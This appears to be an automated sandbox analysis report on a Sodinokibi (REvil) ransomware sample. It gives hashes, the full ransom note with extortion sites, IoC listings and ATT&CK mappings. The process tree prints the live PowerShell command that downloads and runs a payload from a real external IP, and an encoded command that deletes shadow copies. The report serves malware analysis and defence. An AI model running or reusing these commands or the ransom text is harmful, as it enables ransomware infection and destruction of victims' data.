sodinokibi | 4792e10c28499b9868f31d6a7dd670cf12a22f14d11a7b0bb8c781289743eed7

General

Target

834fe3c10a5c6788c12a8dfd6b3a22bc.bat
Size

219B
MD5

9aeae02203b8a1236ef5aa06a8df49df
SHA1

f33e529e1dd812bd81e80fcc6b08c5d019184c74
SHA256

4792e10c28499b9868f31d6a7dd670cf12a22f14d11a7b0bb8c781289743eed7
SHA512

fdfe723f2cbf8c3f3b1a8b4211955bc60bf24f98ac81a719821e52ed5883cbdbf8b872107b5b4ae1ae5f3a6477f201f59c9452641624f4f06a61358b8013dc6e

Score

10^/10

ransomware persistence sodinokibi

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/834fe3c10a5c6788c12a8dfd6b3a22bc

Extracted

Path

C:\385fl2i-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 385fl2i. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/D80EBFA21144DC89 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/D80EBFA21144DC89 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: Z0/SZKFmxWraUEFJICHuuTvtUs1nKZakMuALSpckWVAa2nreuus/jVRkcFskJijT Wpa5anCSLM2xD6nZEEB7vsQuNek2XzOWBgyud7XrDuSvV1607W6Rs4SMDBbV+Ncw jbOzF7RFo016+L7WQPEXxnNdYSABLHdOgaEOc2zud5KMCcVl/1zqO/Irm50Y+IKD eUgY6bHQNY0sUhV9ZhNe10xZ6QCcmy+bPm8wflZ+hanipUWgHFJoX3MWcbP/WHmI 5FW3SpAsz4V8Blan+saybJYqdspw0lbT40Shyv0a9NWyYZ/Zefv04sQqjYR4n5ID etcvOgwpYb8e3iiErXEAm529BQBXPCL0ma+mzEfaVEcN6M0yJuAm5Mi7Z0fCIzrX OlqaCNBCxCj38W5dQCkMQAQyqbacksfmkmpI1CsOEj3tZpGWq7Sa/MuZgmzZHYiy jRNcoj8oyXGWaGAjDVm8TS03Yvf5+vrwqDzfvZIj7fxYmFcJD9OJMfW+ZEjfY93q g9bqVjk7TkZbKleYQfRZMOGympvrFQEdOCgIjPsnSlz4e9rxH4kAeEn8o05OcV55 xYkr2xkKrhlBJHTVXXaE6ZeIJfKMTlU4Zu4AMW7Bz9VUEBObzplHGYFX9g/nZUR4 M2yZ0JopuznB/6c79MJHpImqIpOiL84JhcIjUx02/1FuL8Le7D5nYKmSW2JDIr2T HyMJrdXWq6SvaA5Hm3+TXYgZLJ3EutPg5aKe4s1NrcKa4mCjclmnMUEIJvQtS49o bcG6Q3RSzogK+8+YoirxGbzjZJIMq3TRT/QSxIm1GWCyXDR8UNU0L72pH5Um7zI9 A8zxqlALykryVSzT4SRToTJTdk2cS0b7EJTxhxFCUeyCOKMhyaN4fsK7CQhseB3o nHiX1MMWrn9xqjwbAloWeGdLAZvwRuliKOUNfUTpziq1AVkcAPl6maOdwMWS7Rh8 PJg4CwKNLT1Lfo8chwQQ0wSCt0nEPJrGNpIi/qqVOgr99aDY8SdcyLdPygCOOd2q 1pgSXu7I+95s4Us7+B4BkMM15ueGBjtdGy13V29kW+20p38WPM+0wjJvlFsQ9rlL 1GYqzhugKV7Bv0alh0nKythw+Qk42zBbEeIPA1r1HRYBAfHD4rfGkAeezCaKoyPe J3t/8Ys4E7eOee0JcDKIXGXcmg+gIDQIFlycyWgBuGmEmGbZBa/u7VnrOxP9zYdG X6Qt7zQi4nlxPg4xoih2RfrhQzR9CFc7OLyWPKgQNoHhb/E15/WTego16ZGAHNdJ HLYA7yCm7+kY1OL6VU3WmuGXBDN+XvtXrHGLnHVhEKUTbQ== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/D80EBFA21144DC89

http://decryptor.cc/D80EBFA21144DC89

Signatures

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	996	powershell.exe
Token: SeDebugPrivilege	996	powershell.exe
Token: SeDebugPrivilege	1768	powershell.exe
Token: SeBackupPrivilege	1612	vssvc.exe
Token: SeRestorePrivilege	1612	vssvc.exe
Token: SeAuditPrivilege	1612	vssvc.exe
Token: SeTakeOwnershipPrivilege	996	powershell.exe

Drops file in Program Files directory 23 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\ConfirmSend.pcx	powershell.exe
File opened for modification	\??\c:\program files\RequestLock.search-ms	powershell.exe
File opened for modification	\??\c:\program files\SelectExpand.pptx	powershell.exe
File opened for modification	\??\c:\program files\UnlockConfirm.edrwx	powershell.exe
File opened for modification	\??\c:\program files\ConvertToEnable.3g2	powershell.exe
File opened for modification	\??\c:\program files\ExpandTrace.vssx	powershell.exe
File opened for modification	\??\c:\program files\MountRequest.rmi	powershell.exe
File opened for modification	\??\c:\program files\SwitchClear.eps	powershell.exe
File opened for modification	\??\c:\program files\ImportRevoke.xsl	powershell.exe
File opened for modification	\??\c:\program files\SetUse.vstx	powershell.exe
File opened for modification	\??\c:\program files\StopRevoke.xsl	powershell.exe
File opened for modification	\??\c:\program files\SuspendHide.ppsm	powershell.exe
File created	\??\c:\program files (x86)\385fl2i-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\CompleteMeasure.vsw	powershell.exe
File opened for modification	\??\c:\program files\ConfirmCopy.csv	powershell.exe
File opened for modification	\??\c:\program files\ExpandRequest.bmp	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\385fl2i-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\TestFind.m4v	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\385fl2i-readme.txt	powershell.exe
File created	\??\c:\program files\385fl2i-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\DismountWait.edrwx	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\385fl2i-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\RenameSend.pptm	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

996 powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1492 wrote to memory of 996	1492	cmd.exe	powershell.exe
PID 996 wrote to memory of 1768	996	powershell.exe	powershell.exe
PID 996 wrote to memory of 1768	996	powershell.exe	powershell.exe
PID 996 wrote to memory of 1768	996	powershell.exe	powershell.exe
PID 996 wrote to memory of 1768	996	powershell.exe	powershell.exe

Suspicious behavior: EnumeratesProcesses 77 IoCs

Processes:

powershell.exepowershell.exe

pid	process
996	powershell.exe
996	powershell.exe
996	powershell.exe
1768	powershell.exe
1768	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe
996	powershell.exe

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 996 powershell.exe

flow	pid	process
3	996	powershell.exe

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\9160cz7m.bmp"	powershell.exe

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\834fe3c10a5c6788c12a8dfd6b3a22bc.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1492

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/834fe3c10a5c6788c12a8dfd6b3a22bc');Invoke-XMIUQZERWSSC;Start-Sleep -s 10000"
2⤵
- Suspicious use of AdjustPrivilegeToken
- Drops file in Program Files directory
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Sets desktop wallpaper using registry
PID:996

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1768

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
PID:1612

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2f8f6cc7-ae83-4f79-b06e-2b9a49e06c5b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3f934678-4276-4d7d-9a2b-7ccacecf398b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_670419ca-9b90-4e9d-a6c5-f73b7563d382

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9065e065-05e7-4eaa-bb93-1db6da178e99

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a3b7b651-7089-41b5-9155-3fb877609508

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b7a807a3-f6b6-4397-972a-e9e81988f869

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads